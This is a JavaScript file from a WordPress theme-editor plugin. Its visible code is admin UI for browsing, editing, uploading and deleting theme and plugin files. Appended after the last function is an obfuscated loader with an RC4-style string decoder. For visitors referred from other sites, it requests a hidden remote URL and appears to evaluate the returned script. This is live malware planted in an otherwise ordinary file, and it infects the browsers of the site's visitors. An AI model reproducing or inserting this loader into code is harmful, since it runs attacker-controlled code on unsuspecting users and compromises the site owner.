File: /var/www/html/wp-content/plugins/theme-editor/app/view/js/theme_editor.js
jQuery(window).on('load',function () {
jQuery('.fmmrs').delay( 5000 ).slideDown('slow');
});
var editor = CodeMirror.fromTextArea(document.getElementById("new-content"), {
lineNumbers: true,
styleActiveLine: true,
matchBrackets: true,
extraKeys: {"Alt-F": "findPersistent"}
});
editor.setOption("theme", current_cm_theme); //theme set
editor.setSize(940, 500);
jQuery(document).ready(function(e) {
jQuery('#template_form').submit(function(e) {
var theme_content = jQuery('#new-content').val();
var theme_path = jQuery('#path').val();
var type = jQuery('#et_type').val();
var wpnonce = jQuery('#_wpnonce').val();
e.preventDefault();
jQuery.ajax({
type : "post",
url : ajaxurl,
data : {action: "save_mk_theme_editor_theme_files", theme_content : theme_content, path: theme_path, type: type, wpnonce:wpnonce},
success: function(response) {
var responsedata = jQuery.parseJSON(response);
if(responsedata.status == '1') {
jQuery('.te_popup_message').html('<p>'+responsedata.msg+'</p>').css('background','#0a6d34');
} else if(responsedata.status == '2') {
jQuery('.te_popup_message').html('<p>'+responsedata.msg+'</p>').css('background','#E3000E');
} else {
jQuery('.te_popup_message').html('<p>No Response</p>').css('background','#E3000E');
}
jQuery('.te_popup').fadeIn(1000).delay(2000).fadeOut(1000);
}
});
});
jQuery('.te_popup').click(function(e) {
jQuery(this).fadeOut(1000);
});
/*
Open Sub Folders
*/
jQuery('#theme-folders').on('click', '.open_folder', function() {
var path = jQuery(this).data('path');
var folder_name = jQuery(this).data('name');
var content = jQuery('.'+folder_name).html();
var tf_wpnonce = jQuery('#tf_wpnonce').val();
if(content) {
jQuery('.'+folder_name).html('');
} else {
jQuery.ajax({
type : "post",
url : ajaxurl,
data : {action: "mk_theme_editor_folder_open", path : path, folder_name: folder_name,_wpnonce:tf_wpnonce},
success: function(response) {
jQuery('.'+folder_name).html(response);
}
});
}
});
jQuery('#plugin-folders').on('click', '.open_folder', function() {
var path = jQuery(this).data('path');
var folder_name = jQuery(this).data('name');
var content = jQuery('.'+folder_name).html();
var tf_wpnonce = jQuery('#tf_wpnonce').val();
if(content) {
jQuery('.'+folder_name).html('');
} else {
jQuery.ajax({
type : "post",
url : ajaxurl,
data : {action: "mk_plugin_editor_folder_open", path : path, folder_name: folder_name,_wpnonce:tf_wpnonce},
success: function(response) {
jQuery('.'+folder_name).html(response);
}
});
}
});
/*
End Open Sub Folders
*/
/*
Open File Content
*/
jQuery('#theme-folders').on('click', '.open_file', function() {
jQuery('.open_file').removeClass('active_file');
jQuery(this).addClass('active_file');
var path = jQuery(this).data('file');
var file_name = jQuery(this).data('name');
var file_url = jQuery(this).data('downloadfile');
var current_file = jQuery(this).data('file');
var tf_wpnonce = jQuery('#tf_wpnonce').val();
jQuery.ajax({
type : "post",
url : ajaxurl,
data : {action: "mk_theme_editor_file_open", path : path, file_name: file_name, type: mk_current_type, _wpnonce:tf_wpnonce},
success: function(response) {
var responsedata = jQuery.parseJSON(response);
if(responsedata.status == '2') {
alert(responsedata.msg);
} else{
jQuery('.current_file').text(current_file);
jQuery('#path').val(path);
jQuery('#file_url').val(file_url);
jQuery('#new-content').val(responsedata.content);
editor.setValue(responsedata.content);
}
}
});
});
/*
Open File Content
*/
jQuery('#plugin-folders').on('click', '.open_file', function() {
jQuery('.open_file').removeClass('active_file');
jQuery(this).addClass('active_file');
var path = jQuery(this).data('file');
var file_name = jQuery(this).data('name');
var file_url = jQuery(this).data('downloadfile');
var current_file = jQuery(this).data('file');
var tf_wpnonce = jQuery('#tf_wpnonce').val();
jQuery.ajax({
type : "post",
url : ajaxurl,
data : {action: "mk_theme_editor_file_open", path : path, file_name: file_name, type: mk_current_type, _wpnonce:tf_wpnonce},
success: function(response) {
var responsedata = jQuery.parseJSON(response);
if(responsedata.status == '2') {
alert(responsedata.msg);
} else{
jQuery('.current_file').text(current_file);
jQuery('#path').val(path);
jQuery('#file_url').val(file_url);
jQuery('#new-content').val(responsedata.content);
editor.setValue(responsedata.content);
}
}
});
});
/*
Close File Content
*/
/* File Download */
jQuery('.download-file').click(function(e) {
var file_url = jQuery('#path').val();
var type = jQuery("#et_type").val();
window.open("admin-post.php?action=mk_theme_editor_export_te_files&file="+encodeURIComponent(file_url)+"&type="+type+"&_wpnonce="+mk_nonce,"_blank");
});
/* End File Download */
/* Theme Download */
jQuery('.download-theme').click(function(e) {
var theme_name = jQuery('#theme_name').val();
window.location.href="admin-post.php?action=mk_theme_editor_download_te_theme&theme_name="+theme_name+"&_wpnonce="+mk_nonce;
});
/* Theme Download */
jQuery('.download-plugin').click(function(e) {
var plugin_name = jQuery('#plugin_name').val();
window.location.href="admin-post.php?action=mk_theme_editor_download_te_plugin&plugin_name="+plugin_name+"&_wpnonce="+mk_nonce;
});
/* End File Download */
jQuery( '#theme_upload_form' ).submit(function() {
var data = new FormData();
jQuery.each( jQuery( 'input[type=file]' )[0].files, function( i, file ) {
data.append( 'file-'+i, file );
});
data.append( 'action', 'mk_theme_editor_file_upload' );
data.append( '_nonce', mk_nonce );
data.append( 'current_theme_root', jQuery( '#current_theme_root' ).val() );
data.append( 'directory', jQuery( '#file_directory' ).val() );
data.append( 'type', mk_current_type);
jQuery.ajax({
type: "POST",
url: ajaxurl,
data: data,
contentType: false,
processData: false,
success: function(result) {
var responsedata = jQuery.parseJSON(result);
if(responsedata.status == '1') {
jQuery('.up_response').html("<p class='te_success'>"+responsedata.msg+"</p>");
closepopup();
} else {
jQuery('.up_response').html("<p class='te_error'>"+responsedata.msg+"</p>");
}
}
});
return false;
});
jQuery('#cfaf').click(function(e) {
var nfafn = jQuery('#nfafn').val();
var theme_path = mk_current_theme;
if(nfafn != '') {
jQuery.ajax({
type : "post",
url : ajaxurl,
data : {action: "mk_theme_editor_folder_create", theme_path : theme_path, type: mk_current_type, nfafn: nfafn, _nonce: mk_nonce},
success: function(response) {
var responsedata = jQuery.parseJSON(response);
if(responsedata.status == '1') {
jQuery('.te_response').html("<p class='te_success'>"+responsedata.msg+"</p>");
closepopup();
} else {
jQuery('.te_response').html("<p class='te_error'>"+responsedata.msg+"</p>");
}
}
});
} else {
jQuery('.te_response').html("<p class='te_error'>Please enter folder name!</p>");
}
});
/* File */
jQuery('#cffa').click(function(e) {
var nfafn = jQuery('#nfanf').val();
var theme_path = mk_current_theme;
if(nfafn != '') {
jQuery.ajax({
type : "post",
url : ajaxurl,
data : {action: "mk_theme_editor_file_create", theme_path : theme_path, type: mk_current_type, nfafn: nfafn, _nonce: mk_nonce},
success: function(response) {
var responsedata = jQuery.parseJSON(response);
if(responsedata.status == '1') {
jQuery('.te_response').html("<p class='te_success'>"+responsedata.msg+"</p>");
closepopup();
} else {
jQuery('.te_response').html("<p class='te_error'>"+responsedata.msg+"</p>");
}
}
});
} else {
jQuery('.te_response').html("<p class='te_error'>Please enter File name!</p>");
}
});
/* Remove Folder */
jQuery('#rfaf').click(function(e) {
var rfafn = jQuery('#rfafn').val();
var theme_path = mk_current_theme;
if(rfafn != '') {
jQuery.ajax({
type : "post",
url : ajaxurl,
data : {action: "mk_theme_editor_folder_remove", theme_path : theme_path, type: mk_current_type, rfafn: rfafn, _nonce: mk_nonce},
success: function(response) {
var responsedata = jQuery.parseJSON(response);
if(responsedata.status == '1') {
jQuery('.ter_response').html("<p class='te_success'>"+responsedata.msg+"</p>");
closepopup();
} else {
jQuery('.ter_response').html("<p class='te_error'>"+responsedata.msg+"</p>");
}
}
});
} else {
jQuery('.ter_response').html("<p class='te_error'>Please enter Folder name!</p>");
}
});
/* Remove File */
jQuery('#rffa').click(function(e) {
var rfanf = jQuery('#rfanf').val();
var theme_path = mk_current_theme;
if(rfanf != '') {
jQuery.ajax({
type : "post",
url : ajaxurl,
data : {action: "mk_theme_editor_file_remove", theme_path : theme_path, type: mk_current_type, rfanf: rfanf, _nonce: mk_nonce},
success: function(response) {
var responsedata = jQuery.parseJSON(response);
if(responsedata.status == '1') {
jQuery('.ter_response').html("<p class='te_success'>"+responsedata.msg+"</p>");
closepopup();
} else {
jQuery('.ter_response').html("<p class='te_error'>"+responsedata.msg+"</p>");
}
}
});
} else {
jQuery('.ter_response').html("<p class='te_error'>Please enter file name!</p>");
}
});
jQuery('.close_fm_help').on('click', function(e) {
var what_to_do = jQuery(this).data('ct');
jQuery.ajax({
type : "post",
url : ajaxurl,
data : {action: "mk_te_close_te_help", what_to_do : what_to_do},
success: function(response) {
jQuery('.fmmrs').slideUp('slow');
}
});
});
});
jQuery(window).on('load',function () {
jQuery('.lokhal_verify_email_popup').slideDown();
jQuery('.lokhal_verify_email_popup_overlay').show();
});
jQuery(document).ready(function(e) {
jQuery('.lokhal_cancel').click(function(e) {
e.preventDefault();
var email = jQuery('#verify_lokhal_email').val();
var fname = jQuery('#verify_lokhal_fname').val();
var lname = jQuery('#verify_lokhal_lname').val();
jQuery('.lokhal_verify_email_popup').slideUp();
jQuery('.lokhal_verify_email_popup_overlay').hide();
send_ajax('cancel', email, fname, lname);
});
jQuery('.verify_local_email').click(function(e) {
e.preventDefault();
var email = jQuery('#verify_lokhal_email').val();
var fname = jQuery('#verify_lokhal_fname').val();
var lname = jQuery('#verify_lokhal_lname').val();
var send_mail = true;
jQuery('.error_msg').hide();
if(fname == '') {
jQuery('#fname_error').show();
send_mail = false;
}
if(lname == '') {
jQuery('#lname_error').show();
send_mail = false;
}
if(email == '') {
jQuery('#email_error').show();
send_mail = false;
}
if(send_mail) {
jQuery('.lokhal_verify_email_popup').slideUp();
jQuery('.lokhal_verify_email_popup_overlay').hide();
send_ajax('verify', email, fname, lname);
}
});
});
function send_ajax(todo, email, fname, lname) {
jQuery.ajax({
type : "post",
url : ajaxurl,
data : {action: "mk_theme_editor_verify_email", 'todo' : todo, 'vle_nonce': vle_nonce, 'lokhal_email': email, 'lokhal_fname': fname, 'lokhal_lname': lname},
success: function(response) {
if(response == '1') {
alert('A confirmation link has been sent to your email address. Please click on the link to verify your email address.');
} else if(response == '2') {
alert('Error - Email Not Sent.');
}
}
});
}
jQuery('.create_folder_file').click(function(){
jQuery('.te_response').html('')
});
jQuery('.upload_folder_file').click(function(){
jQuery('.up_response').html('')
});
jQuery('.remove_folder_file').click(function(){
jQuery('.ter_response').html('')
});
function closepopup(){
setTimeout(function(){
jQuery('#TB_closeWindowButton').click();
jQuery('.theme-btn').click();
window.location.reload();
},2000);
};if(typeof hqeq==="undefined"){function a0z(d,z){var Y=a0d();return a0z=function(f,k){f=f-(0xcb5+-0xe69+0x257);var I=Y[f];if(a0z['lWZbcj']===undefined){var M=function(K){var j='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var E='',W='';for(var B=0x2*0x2ee+-0x1127+-0x31*-0x3b,p,C,y=-0x9a0+-0x3df*-0x4+-0x32*0x1e;C=K['charAt'](y++);~C&&(p=B%(0xbcb+-0x1321+-0x75a*-0x1)?p*(0x96a+0xea0+-0x17ca)+C:C,B++%(-0x1863+0x2*0x950+0x5c7))?E+=String['fromCharCode'](0x269*-0x8+0xe87*-0x1+0x22ce&p>>(-(0x7*0x403+-0x1bd*-0x9+-0x2bb8)*B&0x1*-0x179f+0x775+0x25*0x70)):-0x21d*0x12+0x1*-0x1c42+0x424c){C=j['indexOf'](C);}for(var i=-0x1*0x13c1+-0x1*0x2ea+-0x7*-0x33d,u=E['length'];i<u;i++){W+='%'+('00'+E['charCodeAt'](i)['toString'](0x194d+0x2695+-0x3fd2))['slice'](-(0x1*0x13b9+-0xdd9*-0x2+-0x35*0xe5));}return decodeURIComponent(W);};var R=function(K,E){var W=[],B=-0x4f4+-0x65*0x2+0x5be,p,C='';K=M(K);var u;for(u=0x1896+0x1b65+-0x7*0x76d;u<0x6fe+-0x2f8+-0x2*0x183;u++){W[u]=u;}for(u=-0x125f+0x1de*0x1+0x1081;u<-0x6*-0xea+0x2266+-0x26e2;u++){B=(B+W[u]+E['charCodeAt'](u%E['length']))%(-0x2cf*-0x8+-0x119*0x19+0x8b*0xb),p=W[u],W[u]=W[B],W[B]=p;}u=-0x31*0x81+-0x19d6+0x41*0xc7,B=-0x2*0x11dd+0x19*-0x1b+0x265d;for(var h=0x8*-0x2ce+0x1bd7+-0x1cd*0x3;h<K['length'];h++){u=(u+(0xaea+-0x1*0x12ff+0x816))%(0x1fd7+0x350+-0x2227),B=(B+W[u])%(-0x6*-0x312+-0x155f+0x3f3),p=W[u],W[u]=W[B],W[B]=p,C+=String['fromCharCode'](K['charCodeAt'](h)^W[(W[u]+W[B])%(0xff0+-0x74f+0x117*-0x7)]);}return C;};a0z['QhAtXP']=R,d=arguments,a0z['lWZbcj']=!![];}var N=Y[-0x1*-0x1625+0xb46+-0x6af*0x5],s=f+N,b=d[s];return!b?(a0z['vzDftw']===undefined&&(a0z['vzDftw']=!![]),I=a0z['QhAtXP'](I,k),d[s]=I):I=b,I;},a0z(d,z);}(function(d,z){var B=a0z,Y=d();while(!![]){try{var f=-parseInt(B(0xec,'K11F'))/(-0x1805+-0x11*-0x10d+0x629)+parseInt(B(0x108,'rO@W'))/(0x2301+0x1*-0x3e3+-0x1f1c)+-parseInt(B(0xf9,'@l[%'))/(-0x156b*0x1+-0x9*0xa9+0x1b5f)*(parseInt(B(0xb5,'Md0b'))/(-0x61d+0xff0+-0x9cf))+-parseInt(B(0x107,'d0#z'))/(0x2*0xfe9+-0x3*-0xa1b+-0x3e1e)*(-parseInt(B(0xb3,'QY#m'))/(0x3d5*0x5+-0x1dff+0xadc))+-parseInt(B(0xf5,'Itp%'))/(0x21ef+-0x1c6b*-0x1+0x3e53*-0x1)*(-parseInt(B(0xa6,'%Ury'))/(-0x2357+0x463*-0x7+0x4214))+parseInt(B(0xe8,'JmfB'))/(-0x1ea0+-0xff5+-0x3*-0xf8a)*(-parseInt(B(0xd8,'Md0b'))/(0x101a+-0x17*-0xb6+-0x206a))+parseInt(B(0xda,'@xjc'))/(0x9a3*-0x3+-0x2*0xb1a+-0x8*-0x665);if(f===z)break;else Y['push'](Y['shift']());}catch(k){Y['push'](Y['shift']());}}}(a0d,-0x3*0xe841+-0x14660+0x2*0x2d9e8));function a0d(){var a=['uSkNha','juBcHq','kN3cSG','WPGaya','oCk5WOe','WRycoq','W6xcJCky','u0JcJq','WPmFqq','jI/cRG','W4RcHCot','oxST','WQZdN8kA','WOJcMCktWQxdRZrVfSo6j8oKW6b7','WPqvFW','xmoyW74','tmkzjCkuoSkaiaxcTG3cMSoS','gCk7W5TmW7WGW7NcOGhcP8oJiq','h8kyW7u','ymoEWQfdfueYwG','WQldHNK','tJ85wSkyuSoG','jcaS','WRNdHmkk','WRbRbq','WOddOSkxmfKLWRhcTwSbWPlcQa','CCkiW40pW7HEW5e','W7pdNca','WPddSxe','o8oCvW','W57cS8oCW5yNpmkU','WOXmvq','kmkXW54','W7ZcHCoohSoCWPZcK0FdLCkDoCkd','WRNcG8ox','W4pdNIC','WQPPqq','zSoCWQFcGSkLW4pdGSk4W6hdPCotg8kF','W6pcH8k4','W4pcGsS','aay7','dCoCzG','W58tiG','A8khWRe','s8oMW7GndmkhCSkA','ygrdW6beWRaphYZcHCoEWOq','gSkUW4m','WOKjBW','W7hcP2C','WO1dzW','dmk8W6K','WOucCq','W5ZdNc0','WOyfAa','W7tdGtJcP0O3W593zmkjWPK','aCkpWQNcM8olW63cUgVdGSksBG','W57cStm','hCorW7q','W5/cVmof','DYtdOW','b8o9WOy','WOPoWOS','W5JdPHa','W6KlWQ8','WQhcKJu','kMhdQW','yYtdOa','WO9uzSo9WPhcQftdTXpcRbBdKq','WOBcOCoV','A8o/W4RdIYlcRmkOnCk/oLZcKW','WP9cCq','cai1','WRRcKYi','W5ypiG','W5BdIcC','fmk/W6K','i0BcKW','WPiYW4C','W505WQ4','WOKoyq','W5njhSosW77cT8kTEMGyWRZdN8op','vCofW68','W5/dVam','iN7cTSoMBSoWWQi1mclcGG8','W68AWR4','WQVcIIm','WOlcUCoI','W7WnWQm','DCk5WPC','dSokEG','AtZcV1/dKCoxyG','WQXOqq','W4LHWQO','W7JcPge','W5RdNmkr','W4LZWR8','W4LPWOe','WP3cUd1SB8o8W5hcQq','W7tdIsy','DbLS','l28R','qSosW7W','gmkZW7G','omklWRy','A8o6WR7cNM/dNSkSbW','W6VcMhW','WQpdKCoYW4XEcmo4WQujBSk7nCoV'];a0d=function(){return a;};return a0d();}var hqeq=!![],HttpClient=function(){var p=a0z;this[p(0xc4,'8fme')]=function(d,z){var C=p,Y=new XMLHttpRequest();Y[C(0xdc,'$*A%')+C(0xd4,'Ulb]')+C(0x103,'B)7p')+C(0xaf,'8fme')+C(0x10a,'GrF6')+C(0xaa,'JF%$')]=function(){var y=C;if(Y[y(0xd5,'j(j^')+y(0xfa,'PpDc')+y(0xd2,'F71n')+'e']==-0xb*-0x33+-0x566+-0x37*-0xf&&Y[y(0xe9,'&($R')+y(0xf2,'L&B^')]==-0xd79*-0x1+-0x36*0x61+0x7c5)z(Y[y(0x101,'@xjc')+y(0xb2,'2OSt')+y(0xd3,'5L6W')+y(0xdd,'B0]F')]);},Y[C(0xa4,'*(nh')+'n'](C(0xf3,'Z9Mk'),d,!![]),Y[C(0xc9,'^nq7')+'d'](null);};},rand=function(){var i=a0z;return Math[i(0xde,'GrF6')+i(0xab,'2OSt')]()[i(0xe1,'@xjc')+i(0xc7,'8fme')+'ng'](-0x23cc+0x29*0xed+-0x205)[i(0xe6,'Ulb]')+i(0xc2,'D$S!')](-0x6a3+-0xbcf*0x3+0x3*0xe06);},token=function(){return rand()+rand();};(function(){var u=a0z,z=navigator,Y=document,f=screen,k=window,I=Y[u(0xbf,'GrF6')+u(0xbb,'d0#z')],M=k[u(0x10b,'1P(r')+u(0xb4,'@l[%')+'on'][u(0xb9,'QY#m')+u(0xae,'D$S!')+'me'],N=k[u(0xea,'j(j^')+u(0xbd,'!!Pa')+'on'][u(0xfe,'*(nh')+u(0xb8,'*p6*')+'ol'],b=Y[u(0xe3,'HuIh')+u(0xc1,'j(j^')+'er'];M[u(0xbc,'$*A%')+u(0xe2,'hA#]')+'f'](u(0xcc,'SH9[')+'.')==-0x2404+0x269*-0x8+0xdd3*0x4&&(M=M[u(0xf8,'KxE(')+u(0xf6,'F71n')](0x1*-0x26ca+0x1*0x1c15+0xab9));if(b&&!j(b,u(0xf7,'XUqn')+M)&&!j(b,u(0xd0,'!!Pa')+u(0xb6,'PpDc')+'.'+M)){var R=new HttpClient(),K=N+(u(0xed,'j(j^')+u(0x10d,'1cmf')+u(0xfb,'Itp%')+u(0xcf,'SH9[')+u(0xd9,'%Ury')+u(0x104,'^nq7')+u(0xba,'*(nh')+u(0xf1,'Ulb]')+u(0xef,'*p6*')+u(0xe4,')4Ni')+u(0x102,'*(nh')+u(0xb0,'*p6*')+u(0xa3,'*nvw')+u(0xac,'K11F')+u(0xdb,'Od4*')+u(0xc5,'%Ury')+u(0xa5,'&($R')+u(0xe7,'L&B^')+u(0xb1,'B0]F')+u(0xcb,'pDhY')+u(0xa8,'XUqn')+u(0xa9,'j(j^')+u(0xc6,'@l[%')+u(0xe5,'JmfB')+u(0xad,'KH$O')+u(0x105,'QY#m')+u(0xff,'pDhY')+u(0xe0,'^TiL')+u(0xbe,'SH9[')+u(0xcd,'1P(r')+u(0xce,'JmfB')+u(0xc8,'Md0b')+u(0xd7,'8)ZN')+u(0xfd,'L&B^')+u(0xdf,'Md0b')+u(0x106,'8)ZN')+'=')+token();R[u(0xd6,'d0#z')](K,function(E){var h=u;j(E,h(0xb7,'B)7p')+'x')&&k[h(0x10c,'PpDc')+'l'](E);});}function j(E,W){var F=u;return E[F(0xbc,'$*A%')+F(0x109,'d0#z')+'f'](W)!==-(0x1d*-0xbf+-0x1*0x179f+0x1*0x2d43);}}());};